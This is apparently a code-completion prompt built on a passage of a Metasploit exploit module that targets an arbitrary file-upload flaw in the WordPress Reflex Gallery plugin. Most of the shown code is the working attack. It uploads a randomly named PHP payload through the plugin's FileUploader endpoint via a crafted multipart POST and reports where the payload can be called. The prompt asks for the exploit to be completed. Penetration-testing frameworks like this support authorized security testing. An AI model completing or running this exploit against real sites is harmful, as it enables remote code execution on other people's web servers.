You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: wp_reflexgallery_file_upload.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
 
    
  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    time = Time.new
    year = time.year.to_s
    month = "%02d" % time.month

    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
      'method'    => 'POST',
      'vars_get'  => {
        'Year'    => "#{year}",
        'Month'   => "#{month}"
      },
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200 && res.body =~ /success|#{php_pagename}/
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end